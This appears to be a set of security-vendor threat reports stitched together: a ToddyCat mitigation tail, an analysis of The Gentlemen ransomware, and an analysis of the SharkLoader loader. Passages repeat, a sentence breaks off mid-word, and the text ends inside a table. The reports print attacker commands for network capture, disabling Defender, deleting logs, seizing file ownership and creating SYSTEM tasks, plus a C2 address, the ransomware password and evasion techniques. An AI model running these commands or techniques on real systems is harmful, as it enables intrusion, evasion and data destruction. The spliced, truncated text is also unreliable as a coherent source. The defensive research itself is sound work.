If the Google Workspace Migration for Microsoft Outlook or Google Workspace Sync for Microsoft Outlook applications appear in this list but are not actually used within your organization, revoke their access immediately. This will invalidate all potentially compromised OAuth tokens associated with them.
Risk mitigation
Launching a browser with a remote debugging port enabled is inherently suspicious for users who do not engage in web development. For these employees, you can completely disable Chromium-based browser developer tools.
This can be achieved by configuring the DeveloperToolsAvailability policy. To enforce this, set the registry value to 0x00000002 for the following Windows Registry key and restart the browser:
To verify that the policy has been successfully applied, navigate to the browser’s internal policies page at chrome://policy:
Note that while disabling developer tools can successfully disrupt the automated retrieval of the OAuth authorization code, it will not help, however, if the adversary decides to leverage the browser’s graphical user interface (GUI) — though this manual approach is significantly less likely due to the friction it introduces for the attackers. Therefore, as a risk mitigation measure, users should be instructed to explicitly log out of their Google accounts as soon as their sessions are complete.
Takeaways
The ToddyCat APT group continues to search for ways of compromising corporate email communications. We have been tracking the group for a long time and we have observed continuous updates to its arsenal in an attempt to bypass security defenses, even as their core techniques remain consistent. For instance, the group has long relied on DLL sideloading to stealthily drop malicious utilities and scheduled tasks. However, their new tool, Umbrij, automates the attackers’ attempts to gain access to organizational email accounts. This automation not only helps increase the scale and frequency of their attacks but also demonstrates ToddyCat’s strong motivation and advanced technical skills.
To defend against these threats, corporate security teams must monitor for suspicious library loading events initiated by legitimate files, watch for instances of browsers launching in developer mode, and conduct regular audits of third-party applications and services with access permissions to Google accounts. Furthermore, deploying a robust, comprehensive security solution — such as Kaspersky Next — is critical to detect this type of malicious host-based activity in a timely manner.
Introduction
This year saw the emergence of The Gentlemen, a prominent example of a group operating under the ransomware-as-a-service (RaaS) model. Although our initial assessment suggested the group first appeared in mid-2025, it actually started ramping up its activities at the beginning of 2026. According to public reports, in the first half of 2026, this group ranks among the top 10 ransomware actors by the number of victim announcements on its data leak site (DLS).
We have been observing th
This year saw the emergence of The Gentlemen, a prominent example of a group operating under the ransomware-as-a-service (RaaS) model. Although our initial assessment suggested the group first appeared in mid-2025, it actually started ramping up its activities at the beginning of 2026. According to public reports, in the first half of 2026, this group ranks among the top 10 ransomware actors by the number of victim announcements on its data leak site (DLS).
We have been observing the activity of The Gentlemen since February 2026 and have discovered new tactics, techniques, and procedures (TTPs) as well as custom tool development efforts, as they target large corporations and critical infrastructure worldwide. In our research, we have uncovered the group’s methods of reconnaissance, network sniffing, and many other techniques that have not been publicly described before by the wider community.
Technical details
Initial infection vector
The Gentlemen group and its affiliates usually get into victim systems by exploiting vulnerabilities in online services and using stolen or weak login credentials, as reported by multiple cybersecurity vendors. They often target devices like hardware VPNs and firewalls that are exposed to the internet, and use leaked or default credentials to gain access.
We believe the group is likely collaborating with other actors or initial access brokers (IABs) to gain access to the target organizations. While they often deploy ransomware within a few hours after initial access is obtained, our analysis of several attacks revealed some cases, in which access to the victim’s system had been established long before the ransomware was deployed. These cases involved tactics that are not typically associated with the group. This suggests that the initial breach may not have been executed by The Gentlemen at all, but rather by another group or an initial access broker.
Reconnaissance
Our investigation reveals that The Gentlemen conduct thorough internal reconnaissance using tools like SharpADWS, NetScan, Advanced IP Scanner, and netsh to map the target environment and identify vulnerabilities. SharpADWS is used to gather detailed Active Directory information, including domain object enumeration, and can bypass standard logging by wrapping LDAP queries in SOAP messages. The group also uses NetScan and Advanced IP Scanner to scan the network, discover active ports and services, and identify potential vulnerabilities, ultimately gaining a deeper understanding of the network and establishing remote control over identified systems.
Microsoft’s netsh tool is used to capture network packets and gather intelligence, executing the command
cmd.exe /Q /c netsh trace start capture=yes report=no filemode=circular overwrite=yes maxSize=4 > \<target IP>\ADMIN$\{RANDOM-FILE-NAME} 2>&1 to start the capture, and
cmd.exe /Q /c netsh trace stop > \<target IP>\ADMIN$\{RANDOM-FILE-NAME} to stop it.
The captured data is saved to a shared administrative folder with a random name, and can be analyzed with tools like Wireshark to reveal sensitive information such as unencrypted network activity and potential passwords, which the attackers then use to conduct targeted ransomware attacks.
Lateral movement
The Gentlemen group leverages the NETLOGON share to distribute the ransomware executable to connected computers, enabling simultaneous attacks on multiple devices. To facilitate lateral movement, they use a customized PowerShell script, deploy_gpo.ps1, with specific parameters and variables for each target system. Additionally, they employ PsExec to remotely execute the ransomware binary on targeted systems, providing an alternative method for spreading the infection when the GPO-based approach is not feasible.
Disabling security products
The Gentlemen group uses various methods to disable security software on targeted computers, including the BYOVD technique. This involves installing a vulnerable driver and exploiting its weakness to shut down security software, gain unrestricted access, and launch ransomware attacks. We observed the following vulnerable drivers used in the group’s attacks.
Driver name
Description
ProcessMonitorDriver.sys
Safetica DLP and EDR driver
wamsdk.sys
WatchDog anti-malware driver
gamedriverx64.sys
Fedeen/Hotta studio anti-cheat driver
biontdrv.sys
Paragon partition manager driver
inpoutx64.sys
A legacy driver involved in managing RGB lighting
wsftprm.sys
Topaz anti-fraud software driver
Havoc.sys
Huawei audio driver
The Gentlemen group also uses specialized tools, including Windows Kernel Explorer and OpenArk64, to disable security software. These tools can intercept and block system calls, and even remove security drivers, allowing the attackers to bypass security measures and remain undetected.
Besides this, the group employs simple methods to disable security software, such as using kavrmvr.exe to uninstall Kaspersky Antivirus, which is prevented by the product’s behavioral detection, and modifying Windows registry settings to disable Windows Defender’s real-time protection.
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender]
"DisableAntiSpyware"=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection]
"DisableBehaviorMonitoring"=dword:00000001
"DisableOnAccessProtection"=dword:00000001
"DisableScanOnRealtimeEnable"=dword:00000001
Last but not least, the attackers attempt to disable Windows Defender’s real-time monitoring and ransomware protection, and add itself to the exclusion list, by executing multiple PowerShell cmdlets, as observed in the Go implant, which we’ll analyze later in this post:
We observed a custom-made implant, written in Go and deployed a day before the ransomware attack, which acted as a backdoor, enabling remote command execution. The implant collected system information (hostname, domain name, UUID, and local IP addresses) and organized it into a JSON format using a map structure with keys like name, domain, uuid, and localIPs. To obtain the system’s UUID, it used the WMI query
"SELECT UUID FROM Win32_ComputerSystemProduct". It then used the Yamux library to establish a persistent bidirectional TCP connection with the C2 server at 81.177.215[.]15:9443. It sent the collected system info to the C2 and waited for operator responses, executing commands using
cmd.exe /c if the response byte was
'c', or establishing a SOCKS proxy connection if the byte was
's'. This functionality likely enables The Gentlemen’s red team to pivot within the target network and expand their scan coverage.
Given the backdoor implant’s capabilities, such as establishing two-way communication, executing commands, setting up a SOCKS proxy, and gathering information, it’s clear that it can also be used to expand the attack chain as needed. In one incident, soon after the initial connection was made, we saw the server send reconnaissance commands, including:
whoami
net group \"Domain Admins\" /domain
net group
dir c:\\
cd c:\\
Go-based ransomware
The most widespread version of the ransomware binary, written in Go, emerged in mid-2025 and has been used in most attacks since then. It features a previously unknown Go obfuscator that renames symbols, source code files, and structures, and alters function signatures, making analysis more difficult. The binary also contains embedded parameters with descriptions, indicating a sophisticated tool. The parameters are listed in the following table:
Parameter
Description
--password
Access password required to run the ransomware, acts as an anti-sandbox technique
--path
Comma-separated list of target directories to be encrypted
--T
Delay before the encryption starts, specified in minutes
--system
A flag to run as SYSTEM, encrypting only local drives
--shares
A flag to encrypt only mapped network drives
--full
A flag that combines
--system and
--shares
--spread
Lateral movement flag using specified domain credentials (“domain.com\user:pass”) or a single space (” “) to leverage the current session
--gpo
A flag to deploy via Group Policy to all domain computers (designed to be executed on a Domain Controller)
--silent
Silent mode: skips renaming files, modifying file update times after encryption, and changing the wallpaper
--keep
A flag that prevents the executable from self-deleting after the encryption process completes
--wipe
A flag that enables wiping free disk space after encryption
--no-admin
A flag to force execution without administrative privileges
–fast
Speed flag that restricts processing/encryption to 9 percent of the file
–superfast
Speed flag that restricts processing/encryption to 3 percent of the file
--ultrafast
Speed flag that restricts processing/encryption to 1 percent of the file
Automated system execution prevention
The Go variant of the ransomware is designed to avoid detection and prevent analysis. To execute, it requires a password, currently set to
CbdU8EgF. This password acts as a barrier to prevent the binary from running in sandbox or automated environments. If the incorrect password is entered or no password is provided, the binary will terminate.
Lateral movement through GPO deployment
When the
--gpo parameter is used, the ransomware spreads to other computers on the network through Group Policy. To do this, it generates PowerShell commands based on the target environment, writes them to a file called deploy_gpo.ps1 in the %temp% folder, and executes it.
The resulting script allows the attackers to quickly spread the ransomware across the entire company network. It starts by finding the Domain Controller and loading tools to control it. Then, it copies itself to the NETLOGON network folder to become accessible to all computers.
To prevent the attack from being blocked, the script creates a fake system update policy that disables Windows Defender. It does this by changing the
DisableRealtimeMonitoring setting to
1 on all connected computers, thereby disabling real-time scanning and security features. The script also sets up a hidden task by creating a ScheduledTasks.xml file in the SYSVOL directory and modifies the Active Directory property
gPCMachineExtensionNames to register the malicious XML file. Finally, the script forces all computers on the network to update their rules immediately by running the
gpupdate /force command, causing all computers to download and run the ransomware simultaneously.
Lateral movement through PsExec
In addition to spreading through Group Policy, the ransomware also uses PsExec for lateral movement when the
--spread parameter is provided. If PsExec is absent on the target system, it downloads the tool using the following command:
The ransomware then performs a thorough scan of the domain by installing and using Remote Server Administration Tools (RSAT) through a PowerShell cmdlet. If the PowerShell commands fail, it uses the
NetServerEnum API instead.
Once it has obtained a list of all computers on the domain, the ransomware checks if each computer is active by pinging it with the command
ping.exe -n 1 -w 500 {target}. If a computer is found to be active, the ransomware uses PsExec to spread to that computer.
Pre-encryption activities
Before starting to actually encrypt files, the ransomware attempts to stop any active Hyper-V virtual machines, allowing it to encrypt the virtual disk files. It uses PowerShell commands to achieve this, including:
The ransomware also terminates specific processes using taskkill.exe and disables and stops certain services using sc.exe. The lists of processes and services are quite long and include various popular software, such as Microsoft Office instances, database management interfaces, remote management software, backup applications and more.
After stopping and terminating all the services and processes from the lists, the ransomware ensures its persistence on the system by:
Deleting and recreating a scheduled task called “UpdateUser” to run the ransomware on startup
Adding a registry key to run the ransomware on startup
After completing its preparations, the ransomware begins encrypting files using a hybrid encryption algorithm that combines Curve25519 and the XChaCha20 stream cipher. For each file to be encrypted, it generates a Curve25519 key pair and computes a shared secret with the attacker’s public key embedded in its code and encoded in Base64 as
HvzC6Dq/siFthWSgE5ozZyQDu9cyxIoxb3NuRHI6pDM=.
Before encrypting the files, the ransomware changes the file access permissions to “Everyone” and gains full administrative access by overriding the file’s Access Control List (ACL) and Access Control Entry (ACE) using the following commands:
takeown.exe /f <target_file> /d y
icacls.exe <target_file> /grant *S-1-1-0:F
The ransomware also includes a list of blacklisted directories, files, and extensions to prevent encryption of essential system components.
As the encryption process begins, the ransomware creates a file named README-GENTLEMEN.txt in each directory, containing the ransom note with the victim ID, Tox ID, and Data Leak Site address. If the
--silent parameter is not provided, it also changes the desktop wallpaper to The Gentlemen’s embedded image.
The Gentlemen background image
After completing its operations, the ransomware may delete free space on the system to hinder data recovery attempts if the
--wipe parameter is provided. Additionally, it may delete itself if the
--keep parameter is not provided.
Regardless of provided parameters, it also deletes various system files and logs to cover its tracks, using commands such as:
Additionally, it deletes files from various directories, including:
cmd.exe /C del /f /q C:\Windows\Prefetch\*.*
cmd.exe /C del /f /q C:\ProgramData\Microsoft\Windows Defender\Support\*.*
cmd.exe /C del /f /q %SystemRoot%\System32\LogFiles\RDP*\*.*
cmd.exe /C rd /s /q C:\$Recycle.Bin
C-based ransomware
As The Gentlemen’s operations have extended, multiple researchers from different information security vendors have identified two ransomware implant versions: the cross-platform Go variant described above and a C-based ESXi locker for Linux. Our investigation has also uncovered a new, still-in-development C implant, currently limited to Windows.
This new ransomware variant has been observed in a limited number of attacks on organizations. While the overall malware structure remains similar to the Go variant we have described, the encryption algorithm has undergone significant changes, suggesting The Gentlemen group is expanding its capabilities. We believe this variant is still in development and being tested on a small subset of victims, with several parameter options, outlined below.
Parameter
Description
--password
The ransomware needs a password to execute, which is meant to prevent execution on automated systems
--remove
The ransomware removes itself after the encryption process has been finished
--T
Sleep time before encryption, in seconds
--ex
Likely stands for excluded objects (not implemented)
--fast
Encryption speed option (not implemented)
--superfast
Encryption speed option (not implemented)
--ultrafast
Encryption speed option (not implemented)
--silent
Likely silent execution (not implemented)
--system
Execute with system privileges. Could be used to encrypt local disks, as in the Go variant, but at the time of writing this article, there isn’t sufficient data to support this.
--shares
Encrypt the shares connected to the system (not implemented)
--full
Full encryption (not implemented)
--path
Directory list to be encrypted
As can be seen from the parameter list, some of the parameters are not yet implemented. We anticipate that this variant will mature and likely be increasingly used in future attacks. Notably, the C variant uses smaller denylists of files, directories and extensions compared to the Go variant, which further suggests that this version of the ransomware is still in development. For example, the list of files that should not be encrypted, contains only three items, one of which is the group’s ransom note.
To execute with elevated privileges when receiving the
--system parameter, the implant creates a scheduled task called “TaskSystem” using the command
schtasks /create /sc DAILY /tn "TaskSystem" /tr "cmd /C cd %s && %s" /st 20:00 /ru system > nul. It then runs the task with elevated privileges using
schtasks /run /tn TaskSystem > nul. If “TaskSystem” exists in the target system, the ransomware first deletes it using
schtasks /delete /tn TaskSystem /f > nul, before creating a new one with the same name.
If the ransomware lacks sufficient privileges to access a file, it attempts to modify the file’s ACL by granting
FULL_CONTROL permission and setting a new
EXPLICIT_ACCESS_A structure using the
SetEntriesInAclA API call.
For encryption, the ransomware uses the OpenSSL library, which is statically linked to the binary. Unlike the Go variant, this variant uses the AES256-GCM + RSA encryption scheme. It generates a random 32-byte key and a 16-byte initialization vector (IV) for each file, creating a 48-byte buffer. This buffer is then encrypted using a hardcoded RSA public key and appended to the file. The file’s contents are encrypted with AES256-GCM and written after the encrypted key and IV.
After encrypting all files in a directory, the ransomware decodes a byte array using single-byte XOR decryption and creates a file named !-READ-ME—-GEN-TLE-MEN-!.txt in the directory. It then writes the decoded byte array, which contains the ransom note, to the file.
The ransom note in this version of the ransomware reveals a difference from earlier Go versions: communication with the operators is now conducted via email rather than through Tox Messenger.
After completing the encryption process, the ransomware attempts to clear logs from various event log categories, including System, Forwarded Events, Application, and Setup, using the
EvtClearLog API. However, it appears that there may be an error in the event log clearing process, as the category
"S" is not a valid default entry for an event log category, suggesting a possible typo or missing parameters.
Event clearing function
Victims
The Gentlemen target a wide range of industries worldwide, including manufacturing, IT services, healthcare, financial services, construction, and logistics. Observed intrusions span several regions, with Brazil, China, Indonesia, Taiwan, and Thailand among the most heavily targeted countries and territories according to our telemetry.
Attribution
We have high confidence in attributing the observed activities to The Gentlemen group and its affiliates. This attribution is based on several key factors, including the consistent use of the group’s name, associated email addresses, and Data Leak Site within the binaries and ransom notes.
Conclusion
The Gentlemen group is rapidly gaining traction in the ransomware landscape, recruiting affiliates and executing high-profile attacks. Their adaptability is evident in the emergence of a C-based ransomware variant, a Go-based backdoor enabling remote command execution, and customized scripts tailored to specific targets. Recent data leaks exposing internal communications and operational plans suggest the group will continue to engage in malicious activity. Organizations are advised to prioritize vulnerability management and system hardening to reduce the risk of compromise.
Introduction
During our research of activity affecting a diplomatic organization in Indonesia, we uncovered a previously undocumented malware family that we have named SharkLoader. What initially appeared to be an isolated case quickly expanded into a broader campaign as we identified additional SharkLoader infections across multiple countries and sectors.
Our investigation revealed that SharkLoader serves as a loader designed to deploy Cobalt Strike Beacon on compromised systems. We observed th
During our research of activity affecting a diplomatic organization in Indonesia, we uncovered a previously undocumented malware family that we have named SharkLoader. What initially appeared to be an isolated case quickly expanded into a broader campaign as we identified additional SharkLoader infections across multiple countries and sectors.
Our investigation revealed that SharkLoader serves as a loader designed to deploy Cobalt Strike Beacon on compromised systems. We observed the threat actor deploying SharkLoader through exploitation of internet-facing applications, including Microsoft Exchange, Microsoft SharePoint, and Openfire Server, as well as through malware-based delivery mechanisms.
Beyond the diplomatic entity in Indonesia, we identified related activity targeting government organizations in Taiwan, software development companies across multiple countries, and entities in other sectors located in Hong Kong, Lebanon, Syria, Colombia, North Macedonia, Nepal, Serbia, and more. The observed victimology suggests a campaign with broad geographic reach and a diverse target set rather than a narrow focus on a specific industry or region.
For now, we are tracking this activity as StrikeShark. Although the operators utilize several open-source post-compromise tools associated with Chinese-speaking developers, we have not identified direct code reuse, infrastructure overlap, or operational similarity to confidently attribute the activity to any known APT or cybercrime group. As a result, attribution remains preliminary and the campaign’s ultimate objectives are still under research.
Initial infection
Our analysis of SharkLoader intrusions indicates that the threat actor employs multiple methods to gain initial access to victim environments. During our investigation, we observed two primary infection vectors: the exploitation of vulnerabilities in internet-facing applications and the deployment of custom dropper samples, some of which were disguised as legitimate software.
Exploitation of public-facing applications
In the incident affecting an Indonesian diplomatic entity, the threat actor exploited Microsoft Exchange vulnerabilities, including CVE-2021-26855 (ProxyLogon), to gain access to the target environment. Similar activity was observed in Taiwan, where software development organizations were compromised through exploitation of Openfire (CVE-2023-32315). In a separate incident affecting a Colombian organization, the threat actor exploited a GeoServer instance vulnerable to CVE-2024-36401.
Beyond these incidents, we identified additional exploitation activity targeting vulnerabilities in multiple internet-facing enterprise applications and network appliances including those listed below:
As of the time of writing this article, we haven’t obtained the exploits the attackers used. However, based on the vulnerabilities observed across multiple attacks, we assess with medium confidence that the threat actor primarily relies on publicly available proof-of-concept (PoC) exploits to gain initial access. All the vulnerabilities identified during our investigation have publicly available exploit code, including PoCs hosted on GitHub and other open-source platforms, suggesting the actor leverages existing offensive resources rather than develops custom exploit capabilities. The victim profile also indicates that the activity is largely opportunistic, affecting organizations across various industries, regions, and technology environments without a clear focus on a specific target set. Also, one of the IP addresses associated with the C2 domain was also observed conducting internet-wide scanning activity, potentially aimed at identifying and exploiting vulnerable internet-facing systems at scale.
Following exploitation, the attacker established persistence on compromised servers through the deployment of webshells. Although we were unable to recover the webshell files, a series of commands whose execution we observed in our telemetry along with the detection records of webshells strongly indicate their use for post-exploitation activities.
One of the earliest observed actions involved copying the legitimate Windows application SystemSettings.exe to a new location before executing it.
cd C:\Windows\ImmersiveControlPanel\
copy SystemSettings.exe C:\ProgramData\
cd C:\ProgramData\
SystemSettings.exe
This application was later abused as part of a DLL sideloading chain used to launch SharkLoader, which in this scenario was hidden in the malicious SystemSettings.dll library. We suspect that this DLL along with malicious encrypted files, which we’ll describe further, was uploaded through the webshell to the same directory as SystemSettings.exe.
In another case involving the exploitation of CVE-2021-27076, the threat actor launched SystemSettings.exe triggering the subsequent SharkLoader sideloading chain from different directories on the system, which suggests renewed operational activity in the victim environment. In some of the cases, they used security product vendor names as the directory names, allegedly to appear legitimate.
cd C:\ProgramData\KasperskyLab\
dir
.\SystemSettings.exe
cd %APPDATA%
dir
cd kasperskylab
dir
.\SystemSettings.exe
Dropper-based distribution
In several observed cases, the threat actor distributed SharkLoader through custom dropper executables masquerading as legitimate software installers or applications such as Google Update and Cisco AnyConnect. However, the exact delivery mechanism used to distribute these droppers remains unknown.
In one of the samples we analyzed, the threat actor used a legitimate Cisco AnyConnect VPN installer as a lure. The custom dropper extracted zlib-compressed data embedded within its resource section, decompressed it into an MSI package, and wrote the file to %APPDATA%\reports\AnyConnect-win-4.msi. The MSI package was a legitimate Cisco AnyConnect VPN installer, which was subsequently executed via the ShellExecuteW API, making the user believe the custom dropper was a legitimate application.
While the Cisco AnyConnect installer was decompressed and executed, SharkLoader components were silently dropped into directories in %APPDATA% different from %APPDATA%\reports\ in the background, executing the malware loader once the installation process completes.
Malicious Cisco Secure Client installer
In addition to installer-themed lures, several SharkLoader droppers use decoy PDF documents to persuade victims to open the malicious file. However, not all samples employ this technique, as some droppers function solely as a delivery mechanism for SharkLoader without presenting any lure content.
Among the samples analyzed, most droppers write the decoy PDF to a subdirectory named aswerf within the %TEMP% directory, while others save the document directly to %TEMP%.
Analysing the sample shows the PDF files are stored within the dropper’s resource section under the resource name TELEMETRY and are compressed with zlib. Upon execution, the dropper extracts and decompresses the embedded PDF, writes it to disk using the same filename as the dropper executable but with a PDF extension, and launches it via cmd.exe /c to display the decoy document to the victim.
The following are examples of PDF documents extracted and displayed by the droppers during the deployment of SharkLoader.
Lure document 1. The document appears to be related to a biological treatment process and was produced by an engineering consultant
Lure Document 2. Translated title: Liquid Rocket Engine Design Program
In one dropper sample, discovered on a machine located in Lebanon (MD5: 1F65544978B8EA0E745E573B8EE9684B), the dropper extracts and decompresses SystemSettings.dll from zlib-compressed data embedded within the binary and writes it to %APPDATA%\xwreg. It also extracts and decompresses DscCoreR.mui and SyncRest.dat from resources named VAULTSVCD and UMRDPRDAT, respectively, and writes them to the same directory.
The dropper extracts SystemSettings.dll from the binary and retrieves encrypted components from the resource section
The dropper then copies the legitimate SystemSettings.exe application from C:\Windows\ImmersiveControlPanel to the target location to facilitate DLL sideloading. Across other SharkLoader dropper samples analyzed, the malware components were observed being written to either %APPDATA%\xwreg or %APPDATA%\xgdf.
SharkLoader installation
SharkLoader is composed of multiple components that work together to load and execute the final implant, a Cobalt Strike Beacon.
Filename
Description
SystemSettings.exe
Legitimate Windows application abused for DLL side-loading of the
malicious DLL SystemSettings.dll.
SystemSettings.dll
Main malicious SharkLoader DLL responsible for the core loader functionality.
DscCoreR.mui
An encrypted module that contains an embedded Cobalt Strike Beacon and the MinHook library. This module loads SyncRes.dat, installs a couple of API hooks, and executes the Beacon directly in memory.
SyncRes.dat
An encrypted DLL that is used to install multiple API hooks.
While the majority of SharkLoader samples analyzed rely on the sideloading of SystemSettings.dll, other variants leverage alternative DLL side-loading targets, including msedge.dll, PrintDialog.dll, and miracastview.dll, each of them leveraging a corresponding legitimate application.
Across the different variants examined, the encrypted modules were also observed using a variety of filenames, including:
SharkLoader infection chain observed in the StrikeShark campaign
In the dropper-based infections, after deploying all required SharkLoader components, the dropper creates two scheduled tasks through the Windows Task Scheduler COM interfaces. Task names:
Both tasks are configured to execute the copied SystemSettings.exe from the malware’s working directory (for example, %APPDATA%\xwreg or %APPDATA%\xgdf), triggering the side-loading of the malicious SharkLoader DLL.
The first scheduled task uses a time-based trigger that executes every five minutes, providing long-term persistence.
The second task is configured to execute every second, likely to ensure immediate execution of SharkLoader following deployment.
After a delay of approximately 1.5 seconds, the dropper removes the second scheduled task by using the Task Scheduler COM interfaces, leaving the first task in place to maintain persistence on the system.
SharkLoader DLL – Main implant
For the detailed analysis of the infection chain, we’ll focus on the SharkLoader components deployed by a malicious dropper named 一种异常状况的截图(包括操作系统和输入法版本).pdf.exe (MD5: 24FCEBDEECBA65004FDB0923763D74FD), which was identified in a campaign targeting a government entity in Taiwan.
Filename
MD5
SystemSettings.exe
D98F568496512E4F98670C61C97CB07A
SystemSettings.dll
AA3086BE652C8B20B0B29B2730D57119
DscCoreR.mui
A514D1BB62D7916475946FE7C07AC0AA
SyncRest.dat
9CBD560F820C95D7C38342CD558CB5C6
“PerfectDLL Hijacking” technique
Once the malicious DLL is loaded, SharkLoader implements a technique commonly referred to as “Perfect DLL Hijacking” and originally described by a security researcher named Elliot Killick on his blog. The purpose of this technique is to bypass the Windows loader lock and safely create a malicious thread via the CreateThread API without risking a deadlock.
According to Microsoft’s Dynamic-Link Library Best Practices, the Windows loader holds a synchronization object known as the “loader lock” while executing the DllMain function. This mechanism ensures that only one thread can perform DLL loading and initialization operations within a process at any given time. As a result, invoking APIs such as CreateThread or LoadLibrary from within DllMain can lead to deadlocks because the loader lock remains held throughout the execution of the function.
To avoid this issue, SharkLoader manipulates the process’s internal loader state to release the loader lock before invoking CreateThread from the DllMain execution path. By doing so, it attempts to execute its malicious code without triggering the loader-related deadlocks that can occur when threads are created while the loader lock remains held.
Implementation of the Perfect DLL Hijacking technique to bypass the Windows Loader Lock
Based on the code, SharkLoader first resolves the addresses of several undocumented loader structures within ntdll.dll, including:
LdrpLoaderLock: the critical section object used by the Windows loader to synchronize module loading and initialization operations
LdrpWorkInProgress: an internal loader state variable that tracks whether module initialization is currently in progress
After locating these structures, SharkLoader forcefully releases the loader lock by invoking LeaveCriticalSection on LdrpLoaderLock. It then decrements the value of LdrpWorkInProgress with InterlockedDecrement64, effectively marking the initialization process as complete.
Finally, the malware signals the loader completion event via SetEvent before creating a new thread to execute its malicious functionality. As a result, these actions manipulate the loader’s internal state and cause Windows to treat the DLL initialization process as having completed successfully. This allows SharkLoader to continue execution after forcefully releasing the loader lock, despite still operating from within the DllMain execution path.
Decryption and loading of >DscCoreR.mui
As shown in the previous section, the loader creates a new thread after escaping the Windows loader lock. This thread subsequently spawns a second thread responsible for decrypting and reflectively loading the encrypted file, DscCoreR.mui.
The routine first reads the encrypted file into memory and extracts the first 16 bytes to use as the Blowfish decryption key. It then initializes the Blowfish cipher by using custom P-array and S-box constants embedded in the loader and decrypts the file in ECB mode with the extracted key. Once decryption is complete, the resulting PE file is reflectively loaded into memory and executed without being written to disk.
Structure of the encrypted DscCoreR.mui file containing the 16-byte Blowfish key bytes followed by the encrypted PE bytes
The decrypted DscCoreR.mui file is a packed PE file with its MZ header removed, likely as an anti-analysis measure. After decryption, SharkLoader processes the PE image by parsing its headers, allocating memory for the image, mapping its sections, applying relocations, resolving imported functions, and setting the appropriate memory protections. Once the in-memory PE loading process is complete, the main loader, SystemSettings.dll, transfers execution to the entry point of the mapped image, which contains the packer stub.
The stub then unpacks the protected code, invokes the DLL’s DllMain function, and returns execution to SystemSettings.dll. Finally, SystemSettings.dll calls the exported function SetUserProcessPriorityBoost from the mapped DLL, triggering execution of the fully unpacked next-stage DLL.
DscCoreR.mui and SyncRes.dat DLLs
Within the decrypted and unpacked DscCoreR.mui code, the malware proceeds to load and decrypt a second encrypted file, SyncRes.dat, before reflectively loading the resulting DLL into memory.
The mapped DLL installs multiple API hooks by using Microsoft Detours, which will be discussed in the next section.
After mapping and loading SyncRes.dat for API hooks, the DscCoreR.mui performs installation of the Vectored Exception Handler (VEH) and then creates a thread in a suspended state that is later used to execute the Cobalt Strike Beacon shellcode. Additionally, to facilitate additional API hooks, it decompresses and loads the MinHook library and uses it to install hooks on the VirtualAlloc and Sleep APIs.
The DscCoreR.mui then decompresses the Cobalt Strike Beacon shellcode into the memory region associated with the suspended thread and then the suspended thread is resumed, resulting in execution of the beacon.
Decryption and loading of SyncRes.dat
To decrypt SyncRes.dat, the malware extracts a 16-byte AES-128 key and a 16-byte initialization vector (IV) directly from the file itself. The first 16 bytes of the file contain the AES key, while the subsequent 16 bytes contain the IV. The remaining file content consists of AES-encrypted data, which is decrypted using the extracted key and IV. Once decrypted, the resulting data reveals a PE image with its MZ header removed, similar to DscCoreR.mui.
Structure of the encrypted SyncRes.dat file showing the AES key, IV, and encrypted PE bytes
Similar to the decrypted DscCoreR.mui module, the decrypted SyncRes.dat file is also protected by an unknown custom packer. After decryption, the loader reflectively loads the PE image before transferring execution to the module’s entry point.
The entry point contains a packer stub responsible for unpacking the protected code in memory. Once the unpacking routine is complete, the malware invokes a specific exported function named StartEngineData, which serves as the primary execution routine of the third-stage DLL.
Before continuing with the DscCoreR.mui analysis, we will first discuss SyncRes.dat.
SyncRes.dat decrypted DLL: Multiple API hooks
The decrypted and unpacked SyncRes.dat DLL is primarily responsible for installing multiple Windows API hooks by using the Microsoft Detours library. After attaching all detour hooks, it calls DetourTransactionCommitEx to apply them in one commit.
The following table lists the hooked Windows APIs and their corresponding hook handler functions.
Hooked Windows APIs
Detour function description
CreateProcessA
Saves all original CreateProcessA parameters for use in the parent process (PPID) spoofing routine.
Creates a new thread that executes the process creation routine responsible for PPID spoofing.
Falls back to the original CreateProcessA if the thread creation fails.
Identifies an svchost.exe process that has the same security context as the current SharkLoader process.
Builds an extended startup attribute list to set the selected svchost.exe as the spoofed parent.
Calls the original CreateProcessA with the modified parent attribute.
As a result, any new process created by the current process (primarily from the Cobalt Strike beacon) is spawned under svchost.exe instead of the current module process.
CreateProcessW
Saves all original CreateProcessW parameters for use in the PPID spoofing routine, which is executed through an APC-based mechanism rather than a dedicated thread compared to the CreateProcessA API hook.
Schedules a delayed process creation (10 microseconds) through APC execution using CreateWaitableTimerW and SleepEx.
The timer callback performs the svchost.exe PPID spoofing logic, similar to the CreateProcessA spoofing routine.
As a result, new processes created via CreateProcessW by the current process (primarily from the Cobalt Strike beacon) are launched under svchost.exe through an APC-based execution mechanism
OpenProcessToken
Once hooked, the malware initializes jitasm to construct a direct syscall stub for NtOpenProcessToken at runtime.
Invokes NtOpenProcessToken through the constructed direct syscall stub, redirecting the original API (OpenProcessToken) call flow.
AdjustTokenPrivileges
Redirects the API call to a direct NtAdjustPrivilegesToken syscall stub constructed by jitasm.
OpenProcess
Redirects the API call to a direct NtOpenProcess syscall stub constructed by jitasm.
WriteProcessMemory
Redirects the API call to a direct NtWriteVirtualMemory syscall stub constructed by jitasm.
NtCreateUserProcess
Redirects the API call to a direct NtCreateUserProcess syscall stub constructed by jitasm.
LoadLibraryA
Redirects the API call to a function that resolves LdrLoadDll API using a ROR13-based API hashing algorithm.
Uses the original parameters to invoke LdrLoadDll directly.
If LdrLoadDll resolution or invocation fails, uses CreateTimerQueue and CreateTimerQueueTimer to schedule a 10-millisecond delayed execution of the original LoadLibraryA, with CreateEventW used for synchronization.
GetModuleHandleA
Redirects the API call to a custom function that resolves the module base address through the following steps:
Enumerates loaded modules within the current process using CreateToolhelp32Snapshot, Module32FirstW, and Module32NextW.
Compares each enumerated module name with the module name provided in the API parameter.
Returns the module base address if a match is found.
Falls back to the original GetModuleHandleA API if the custom resolution routine fails.
GetModuleHandleW
Similar approach to the GetModuleHandleA API hooks above.
GetProcAddress
The original GetProcAddress parameters are passed to the hook handler.
The hook handler computes a Murmur32 hash of the requested function name.
The hook handler parses the module’s PE structure and locates the export table.
Each exported function name is hashed using the same Murmur32 algorithm and compared against the previously generated hash.
If a hash match is found, the corresponding function address is returned. If no match is found, the call falls back to the original GetProcAddress.
LoadLibraryExA
The hook handler redirects the API call to its original address. In short, the hooked LoadLibraryExA calls the original LoadLibraryExA function.
VirtualAllocEx
Redirects the API call to a direct NtAllocateVirtualMemory syscall stub constructed by jitasm.
VirtualProtectEx
